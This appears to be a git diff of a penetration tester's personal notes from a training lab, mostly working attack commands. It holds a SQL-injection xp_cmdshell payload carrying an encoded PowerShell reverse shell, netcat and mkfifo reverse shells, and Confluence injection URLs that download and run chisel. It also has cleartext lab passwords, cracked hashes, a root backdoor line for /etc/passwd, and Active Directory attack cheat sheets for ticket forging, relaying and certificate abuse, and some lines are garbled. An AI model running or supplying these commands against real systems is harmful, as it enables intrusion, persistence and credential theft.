| Product_Version: 10.0.20348
|
||||
|_ System_Time: 2024.06.25T10:45:42+00:00
|
||||
| ssl-cert: Subject: commonName=DEV04.medtech.com
|
||||
| Not valid before: 2024.04.16T20:19:52
|
||||
|_Not valid after: 2024.10.16T20:19:52
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
|_nbstat: NetBIOS name: DEV04, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:7f:da (VMware)
|
||||
@@ -0,0 +1,22 @@
|
||||
Nmap scan report for 172.16.152.11
|
||||
Host is up (0.055s latency).
|
||||
Not shown: 997 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
|_nbstat: NetBIOS name: FILES02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f7:cb (VMware)
|
||||
|_clock-skew: 1s
|
||||
|
||||
|
||||
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
|
||||
@@ -0,0 +1,18 @@
|
||||
Nmap scan report for 172.16.152.13
|
||||
Host is up (0.064s latency).
|
||||
Not shown: 997 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
|_nbstat: NetBIOS name: PROD01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:d1:c2 (VMware)
|
||||
|_clock-skew: 1s
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
@@ -0,0 +1 @@
|
||||
evil-winrm -i 172.16.229.83 -u wario -p "Mushroom\!"
|
||||
@@ -0,0 +1,31 @@
|
||||
webpage sql incjection:
|
||||
|
||||
' EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQAOQAuADkAMQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwB0AHIAeQAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAIgAuACAAewAgACQAZABhAHQAYQAgAH0AIAAyAD4AJgAxACIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAIgAkAF8AYABuACIAfQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
|
||||
|
||||
|
||||
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)PrintSpoofer64.exe -Outfile pf.exe
|
||||
iwr -uri <http://192.168.45.198:8888/>SharpHound.exe -Outfile SharpHound.exe
|
||||
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)nc.exe -Outfile nc.exe
|
||||
iwr -uri <http://192.168.45.198:8888/>chisel_1.9.1_windows_amd64 -Outfile chiesel.exe
|
||||
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)agent.exe -Outfile agent.exe
|
||||
|
||||
```powershell
|
||||
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "c:\Users\web_svc\ns"
|
||||
```
|
||||
|
||||
`schtasks /create /sc minute /mo 1 /tn "Reverse shell2" /tr "c:\users\sql_svc\nc.exe 10.10.14.56 4242 -e cmd.exe"`
|
||||
|
||||
`schtasks /create /s "PC-NAME" /tn "My App" /tr "PATH" /sc minute /mo 1 /u Domain\User /p password`
|
||||
|
||||
c:\users\a.hansen\desktop\nc.exe -e cmd.exe 192.168.49.91 4444
|
||||
|
||||
invoke-bloodhound -collectionmethod all -domain medtech.com -ldapuser joe -ldappass Flowers1 -zipFileName loot.zip
|
||||
|
||||
|
||||
WEB02$::MEDTECH:1122334455667788:fc9d3e73bbbf28562c0aab342f0f95cc:0101000000000000e8672fa2d7c6da0155d090522781b7bb00000000080030003000000000000000000000000030000052e5b4d9e1d59e5faa306b0417df176ee00305b9b4219ccaccf2330883db92960a00100000000000000000000000000000000000090000000000000000000000
|
||||
|
||||
|
||||
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=**192.168.229.121** connectport=3389 connectaddress=**172.16.229.12**
|
||||
|
||||
Accept port forwarding
|
||||
netsh advfirewall firewall add rule name="port_forward_rdp_3389" protocol=TCP dir=in localip=**192.168.229.121** localport=3389 action=allow
|
||||
@@ -0,0 +1,16 @@
|
||||
.120 - proof 08bc777cb68808f3e108c9deabf4d356
|
||||
.121 - proof X
|
||||
.122 - local and proof , local: c706420afc060033a3fa790145c13d63 , proof: 0b6373d3cf5d73c4d9b8b1b5eb91fa5f
|
||||
.10 - proof X
|
||||
.11 - local and proof local:021d7eec872a5cdf47ee9eb0ac9c3818 , proof:2407ddc3dfc7d6b5b6b8fe72310c18d1
|
||||
.12 - local and proof
|
||||
.13 - proof : e482a25771b752775d7f87cd81fe2b3e
|
||||
.14 - local only cc55f0fad8fec554ded8aee711fdd7c0
|
||||
.82 - proof ef3e8a45c673b53afb5b0f71e970ceb8
|
||||
.83 - local and proof local: e9e68c489bc339ef55b5c678e9272b89
|
||||
, proof: 95d3517b79e3105766cf5624411bf034
|
||||
|
||||
dir C:[\](fold XA==)Users
|
||||
type C:[\](fold XA==)Users/Administrator/Desktop/proof.txt
|
||||
powershell -c type C:\Users/wario/Desktop/local.txt
|
||||
powershell -c type C:\Users/Administrator/Desktop/proof.txt
|
||||
@@ -0,0 +1,6 @@
|
||||
|
||||
daisy:abf36048c1cf88f5603381c5128feb8e
|
||||
toad:5be63a865b65349851c1f11a067a3068
|
||||
wario:fdf36048c1cf88f5630381c5e38feb8e
|
||||
goomba:8e9e1516818ce4e54247e71e71b5f436
|
||||
milana:
|
||||
@@ -0,0 +1,9 @@
|
||||
joe:Flower1
|
||||
wario:Mushroom!
|
||||
yoshi:Mushroom!
|
||||
leon:rabbit:)
|
||||
web01: offsec/century62hisan51
|
||||
|
||||
|
||||
|
||||
4aaddeed5888f984ee378b15e88529a7
|
||||
@@ -0,0 +1,37 @@
|
||||
socat -ddd TCP-LISTEN:2346,fork TCP:10.4.228.215:5432
|
||||
|
||||
D@t4basePassw0rd!
|
||||
|
||||
|
||||
{PKCS5S2}3vfgC35A7Gnrxlzbvp32yM8zXvdE8U8bxS9bkP+3aS3rnSJxz4bJ6wqtE8d95ejA
|
||||
{PKCS5S2}tnbti4h38VDOh0xPrBHr7JBYjev7wws+ETHL1YyjSpIWVUz+66zXwDvbBJkJz342
|
||||
{PKCS5S2}1hCLEv054BGYa9QkCAZKSmotKb4d8WbuDc/gGxHngs0cL3+fJ4OmCt6+fUM6HYlc
|
||||
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R
|
||||
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv
|
||||
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP
|
||||
|
||||
|
||||
|
||||
|
||||
-------------------------
|
||||
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv
|
||||
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP
|
||||
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R
|
||||
|
||||
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R:Welcome1234
|
||||
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP:P@ssw0rd!
|
||||
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv:sqlpass123
|
||||
|
||||
-
|
||||
|
||||
for i in $(seq 1 254.; do nc -zv -w 1 172.16.228.$i 445; done
|
||||
|
||||
|
||||
|
||||
curl [http://CONFLUENCE01:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.224:8000/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/](http://192.168.228.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.224:8000/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/)
|
||||
|
||||
|
||||
curl [http://CONFLUENCE01:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.224:8080%20R:socks%27%29.start%28%29%22%29%7D/](http://192.168.228.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.224:8080%20R:socks%27%29.start%28%29%22%29%7D/)
|
||||
|
||||
|
||||
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.228.215
|
||||
@@ -0,0 +1,5 @@
|
||||
List caps manually :
|
||||
|
||||
```sh
|
||||
/usr/sbin/getcap -r / 2>/dev/null
|
||||
```
|
||||
@@ -0,0 +1,3 @@
|
||||
```shell
|
||||
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.224 4444 >/tmp/f" >> user_backups.sh
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
### High-Value Files and Directories to Check During Linux LFI:
|
||||
|
||||
#### 1. **SSH Keys and Known Hosts**
|
||||
|
||||
- **File(s)**:
|
||||
- `/home/<username>/.ssh/id_rsa` - Private RSA key.
|
||||
- `/home/<username>/.ssh/id_ecdsa` - Private ECDSA key.
|
||||
- `/home/<username>/.ssh/id_dsa` - Private DSA key.
|
||||
- `/home/<username>/.ssh/authorized_keys` - Authorized SSH keys for remote access.
|
||||
- `/home/<username>/.ssh/known_hosts` - Hosts previously accessed, possibly helping with network mapping.
|
||||
- `/etc/ssh/ssh_config` - Global SSH client configuration.
|
||||
- `/etc/ssh/sshd_config` - SSH daemon configuration, may contain port information and other details useful for lateral movement.
|
||||
|
||||
#### 2. **User and System Credentials**
|
||||
|
||||
- **File(s)**:
|
||||
- `/etc/passwd` - Contains system user accounts; combined with `/etc/shadow`, it can reveal password hashes.
|
||||
- `/etc/shadow` - Stores hashed passwords; access may depend on privilege level.
|
||||
- `/etc/group` - Lists group memberships, which may reveal sudo users.
|
||||
- `/var/spool/mail/` - Often contains user email files that may contain passwords or other sensitive information.
|
||||
- `/etc/sudoers` - Can reveal sudo privileges and any user-specific rules.
|
||||
|
||||
#### 3. **Database Configurations and Passwords**
|
||||
|
||||
- **File(s)**:
|
||||
- `/var/www/html/wp-config.php` - Common WordPress configuration file containing database credentials.
|
||||
- `/var/www/html/.env` - Environment configuration files used by various applications; may contain database credentials and other secrets.
|
||||
- `/root/.my.cnf` - MySQL configuration file containing root credentials.
|
||||
- `/etc/mysql/my.cnf` - Default MySQL configuration; can reveal useful info for database connections.
|
||||
- `/opt/<app>/.env` - Application-specific configuration files for services like Laravel, Django, Node.js, which can store sensitive information.
|
||||
|
||||
#### 4. **Web Application Configuration Files**
|
||||
|
||||
- **File(s)**:
|
||||
- `/var/www/html/config.php` - Often used by PHP-based web applications.
|
||||
- `/var/www/html/.htaccess` - Access control configuration for Apache; can reveal access restrictions and environment details.
|
||||
- `/var/www/html/.htpasswd` - Stores username and password pairs for basic authentication.
|
||||
- `/usr/local/etc/nginx/nginx.conf` - Nginx web server configuration, may reveal proxy settings or other backend info.
|
||||
- `/etc/httpd/conf/httpd.conf` - Apache configuration file, useful for understanding directory permissions and access controls.
|
||||
|
||||
#### 5. **Network and Application Logs**
|
||||
|
||||
- **File(s)**:
|
||||
- `/var/log/auth.log` or `/var/log/secure` - Authentication logs, can show login attempts, successful or failed, potentially revealing usernames.
|
||||
- `/var/log/apache2/access.log` - Apache access logs, helpful for identifying traffic patterns or hidden endpoints.
|
||||
- `/var/log/nginx/access.log` - Nginx access logs, similar use to Apache logs.
|
||||
- `/var/log/mysql/error.log` - MySQL error logs, which may contain sensitive error messages.
|
||||
- `/var/log/messages` - General system logs that might contain application error information and sensitive data.
|
||||
|
||||
#### 6. **System and Network Configuration**
|
||||
|
||||
- **File(s)**:
|
||||
- `/etc/network/interfaces` - Network interface configurations for Debian-based systems.
|
||||
- `/etc/resolv.conf` - DNS resolver configuration.
|
||||
- `/etc/hosts` - Local hostname-to-IP mappings.
|
||||
- `/proc/net/tcp` - Active TCP connections and ports; useful for identifying open services and potential pivoting targets.
|
||||
- `/etc/hostname` - System hostname, which could help map network assets.
|
||||
|
||||
#### 7. **Cron Jobs and Scheduled Tasks**
|
||||
|
||||
- **File(s)**:
|
||||
- `/etc/crontab` - System-wide cron jobs.
|
||||
- `/var/spool/cron/crontabs/` - User-specific cron jobs, which might reveal periodic tasks that could be exploitable.
|
||||
- `/etc/cron.d/` - Another location for cron jobs, particularly for application-specific scheduling.
|
||||
- `/etc/at.allow` and `/etc/at.deny` - Lists for controlling access to the `at` scheduler, revealing scheduled tasks and potential privilege escalation opportunities.
|
||||
|
||||
#### 8. **Application and Service-Specific Files**
|
||||
|
||||
- **File(s)**:
|
||||
- `/etc/postgresql/*/main/pg_hba.conf` - PostgreSQL authentication configuration.
|
||||
- `/etc/redis/redis.conf` - Redis configuration, possibly containing credentials or IP restrictions.
|
||||
- `/opt/tomcat/conf/tomcat-users.xml` - Tomcat user configuration; can contain admin-level credentials for the Tomcat server.
|
||||
- `/etc/ldap/ldap.conf` - LDAP configuration; may help with Active Directory queries.
|
||||
- `/etc/docker/daemon.json` - Docker configuration, useful if docker is used within the environment.
|
||||
@@ -0,0 +1,5 @@
|
||||
Find SUID marked files
|
||||
|
||||
```sh
|
||||
find / -perm -u=s -type f 2>/dev/null
|
||||
```
|
||||
@@ -0,0 +1,15 @@
|
||||
Stabilize the shell :
|
||||
|
||||
```shell
|
||||
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||
```
|
||||
|
||||
```shell
|
||||
export TERM=xterm
|
||||
```
|
||||
|
||||
CTRL-Z
|
||||
|
||||
```shell
|
||||
stty raw -echo; fg
|
||||
```
|
||||
@@ -0,0 +1,10 @@
|
||||
#SSH
|
||||
```shell
|
||||
socat TCP-LISTEN:2222,fork TCP:10.4.228.215:22
|
||||
|
||||
```
|
||||
|
||||
#datasbase
|
||||
```shell
|
||||
bashsocat -ddd TCP-LISTEN:2345,fork TCP:10.4.228.215:4242
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
client 192.168.45.224:4242 R:4343:chisel client 192.168.45.224:4242 R:4343:chisel client 192.168.45.224:4242 R:4343:**10.4.228.215**### :::4242
|
||||
@@ -0,0 +1,13 @@
|
||||
ssh -N -L 0.0.0.0:4455:172.16.228.217:445 database_admin@10.4.228.215
|
||||
|
||||
|
||||
---
|
||||
Dynamic port forwarding
|
||||
ssh -N -D 0.0.0.0:9999 database_admin@**10.4.228.215**
|
||||
|
||||
can be use with proxyschain
|
||||
|
||||
|
||||
Reverse Remote Port forwarding:
|
||||
|
||||
ssh -N -R 127.0.0.1:4444:10.4.228.215:4444 kali@192.168.45.224
|
||||
@@ -0,0 +1,3 @@
|
||||
shuttle
|
||||
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
If writable add :
|
||||
|
||||
|
||||
username hacker , password hacker
|
||||
```sh
|
||||
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
@@ -0,0 +1 @@
|
||||
for i in $(seq 1 254.; do nc -zv -w 1 172.16.228.$i 445; done
|
||||
Submodule
+1
Submodule MindMap added at 9abf9614b1
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,55 @@
|
||||
- Recon
|
||||
- `certipy find domain.local/user:[email protected] -enabled`
|
||||
|
||||
- Shadow credentials
|
||||
- Add Key Credentials to the **msDS-KeyCredentialLink** of a user, allowing authentication as that user through certificates
|
||||
- Must have one of the following ACLs over the user:
|
||||
- GenericAll
|
||||
- GenericWrite
|
||||
- AddKeyCredentialLink
|
||||
- Procedure:
|
||||
- Get a certificate
|
||||
- `python3 /opt/pywhisker/pywhisker.py -u ValidUser -p ValidPass -d domain.local -t target --dc-ip <DC IP> --action add`
|
||||
- https://github.com/ShutdownRepo/pywhisker
|
||||
- Get a TGT
|
||||
- `python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass $passwordFromAbove -dc-ip <DC IP> domain.local/target filename.ccache`
|
||||
- https://github.com/dirkjanm/PKINITtools
|
||||
- Set the ccache environment variable for Impacket
|
||||
- `export KRB5CCNAME=filename.ccache`
|
||||
- Get NT hash from TGT
|
||||
- `python3 /opt/PKINITtools/getnthash.py domain.local/target -key <key from above> -dc-ip <DC IP>`
|
||||
|
||||
- Privesc through misconfigured certificate templates
|
||||
- Request a certificate
|
||||
- `certipy req domain.local/user:[email protected] -ca <CA Name> -template <vulnerable template> -alt <domain admin acct>@domain.local' -out pwned`
|
||||
- Authenticate and extract user's NT hash
|
||||
- `certipy auth -pfx pwned.pfx -username <domain admin acct> -domain domain.local -dc-ip <DC IP>`
|
||||
|
||||
- Privesc through Certificate Authority which allows rogue Subject Alternative Names (SANs)
|
||||
- "EDITF_ATTRIBUTESUBJECTALTNAME2" config allows users to specify SANs when requesting certificates
|
||||
- Effectively, any user can request a certificate as any other user
|
||||
- Exploited the same way as above, but can be done on any template
|
||||
|
||||
- NTLM Relay to AD CS HTTP Endpoints
|
||||
- Certificate enrollment web interface at http://<ADCS_Server>/certsrv/ is vulnerable to Net-NTLM relay attack
|
||||
- This allows attackers to use NTLM relay to to login and generate a certificate using the relayed user's creds
|
||||
- When PKINIT auth is used, Kerberos provides user with the NT hash of the account for fallback to Net-NTLM auth, which means we can also use this to obtain the NT hash of the user.
|
||||
- Exploitation:
|
||||
- Initialize the relay
|
||||
- `certipy relay -ca <CA_IP> -template DomainController`
|
||||
- Coerce authentication
|
||||
- `python3 /opt/PetitPotam/PetitPotam.py -d domain.local <attacker_IP> <target_DC_IP>`
|
||||
- Auth with the certificate
|
||||
- `certipy auth -pfx dc.pfx -dc-ip <DC_IP>`
|
||||
- DCSync
|
||||
- `cme smb <target_DC>.domain.local -u <DC_machine_acct> -H <NT_hash> --ntds`
|
||||
|
||||
- NTAuthCertificates
|
||||
- LDAP object: `(CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=rlyeh,DC=com)`
|
||||
- Add new CA certificate to this object (allows it to be trusted for auth):
|
||||
- `certutil.exe -dspublish -f C:\rogue.crt NTAuthCA`
|
||||
|
||||
- Golden certificates:
|
||||
1. Get the CA cert and key: `certipy ca -backup -ca 'cthulhu-CA'`
|
||||
2. Forge certificates: `certipy forge -ca-pfx cth.pfx [cert options]`
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
- CrackMapExec
|
||||
- `cme smb <target> –u ValidUser –p ValidPass --sam`
|
||||
- Dumps the SAM file - local users only (not domain)
|
||||
- `cme smb <target> –u ValidUser –p ValidPass --lsa`
|
||||
- Dump LSA secrets from the registry - includes Domain Cached Credentials
|
||||
- Checking BloodHound data for credentials in user descriptions
|
||||
- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
|
||||
- Extracting Jenkins credentials from script console
|
||||
```Groovy
|
||||
/* All Credentials */
|
||||
import jenkins.*
|
||||
import jenkins.model.*
|
||||
import hudson.*
|
||||
import hudson.model.*
|
||||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class,
|
||||
Jenkins.instance,
|
||||
null,
|
||||
null
|
||||
);
|
||||
for (creds in jenkinsCredentials) {
|
||||
println(jenkinsCredentials.id)
|
||||
}
|
||||
|
||||
/* Specific Credentials */
|
||||
import jenkins.*
|
||||
import jenkins.model.*
|
||||
import hudson.*
|
||||
import hudson.model.*
|
||||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class,
|
||||
Jenkins.instance,
|
||||
null,
|
||||
null
|
||||
);
|
||||
for (creds in jenkinsCredentials) {
|
||||
if(creds.id == "<credential_id>"){
|
||||
println(creds.<variable_name_suchas_username>)
|
||||
println(creds.<variable_name_suchas_password>)
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
- Resource-Based Constrained Delegation
|
||||
- msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
|
||||
- Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
|
||||
- Prerequisites:
|
||||
- No LDAP signing on DCs
|
||||
- `cme ldap –u ValidUser –p ValidPass –M ldap-signing`
|
||||
- Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
|
||||
- Check: `cme smb –u ValidUser –p ValidPass –M maq`
|
||||
- Need a way to coerce authentication (printerbug, petitpotam, etc.)
|
||||
- Exploitation:
|
||||
- Add machine account (with a SPN)
|
||||
- `impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password`
|
||||
- Add DNS record to force HTTP authentication
|
||||
- `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>`
|
||||
- Start NTLM Relay
|
||||
- `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs`
|
||||
- Coerce authentication
|
||||
- `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath`
|
||||
- Request a TGS to impersonate a domain admin on the target host
|
||||
- `impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>`
|
||||
- Set the ccache environment variable for impacket
|
||||
- `export KRB5CCNAME=<Domain_Admin>.ccache`
|
||||
- DCSync to dump hashes
|
||||
- `impacket-secretsdump -k -no-pass remoteHost.domain.local`
|
||||
@@ -0,0 +1,34 @@
|
||||
- Cerbero
|
||||
- `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv`
|
||||
- Silver Ticket services
|
||||
- psexec - CIFS
|
||||
- winrm - HOST & HTTP
|
||||
- dcsync (DC only) - LDAP
|
||||
- Kerberoast/ASREPRoast (with CME)
|
||||
- `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt`
|
||||
- `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt`
|
||||
- NoPAC - CVE-2021-42278 and CVE-2021-42287
|
||||
- Breakdown
|
||||
- Create a new computer account with any name
|
||||
- Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
|
||||
- Clear the SPNs
|
||||
- Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
|
||||
- Request TGT for the machine account
|
||||
- Change name of computer back to its original value
|
||||
- Request TGS for the LDAP service using the TGT
|
||||
- Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
|
||||
- DCSync
|
||||
- Exploitation
|
||||
- `python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump`
|
||||
- https://github.com/Ridter/noPac
|
||||
- OPSEC - remember to delete the machine account after execution
|
||||
|
||||
- Dominance Tickets
|
||||
- Golden Tickets
|
||||
- Mimikatz: `kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi`
|
||||
- Silver Tickets
|
||||
- Rubeus: `Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>`
|
||||
- Diamond Tickets
|
||||
- Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>`
|
||||
- Sapphire Tickets
|
||||
- Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator`
|
||||
@@ -0,0 +1,7 @@
|
||||
- PrinterBug - Induce authentication from any one machine on the network to any other
|
||||
- `python3 /opt/krbrelayx/printerbug.py domain.local/user:password@target <targetIP>`
|
||||
- PetitPotam Authentication Coercion
|
||||
- Microsoft Encrypting File System Remote Protocol (MS-EFSR) allows AD server to remotely manage encrypted information using RPC
|
||||
- Can connect to a server unauthenticated and force it to open an "encrypted file" on your machine, thus forcing it to authenticate to you.
|
||||
- Exploitation:
|
||||
- `python /opt/PetitPotam/petitpotam.py <responder_IP> <target> -pipe all`
|
||||
@@ -0,0 +1,16 @@
|
||||
- Through Cobalt Strike:
|
||||
- https://github.com/praetorian-inc/PortBender
|
||||
- Through .NET
|
||||
- https://github.com/Kevin-Robertson/InveighZero
|
||||
- MITM6 - Spoof IPv6 and relay requests to targets
|
||||
- `mitm6 -d <domain.local>`
|
||||
- `ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/`
|
||||
- `-6` specifies ipv6, `-wh` specifies where the WPAD file is hosted at (your IP usually). `-t` specifies the target, or destination where the credentials will be relayed. `-l` is to where to store the loot.
|
||||
- Generate list of relay targets (SMB signing disabled)
|
||||
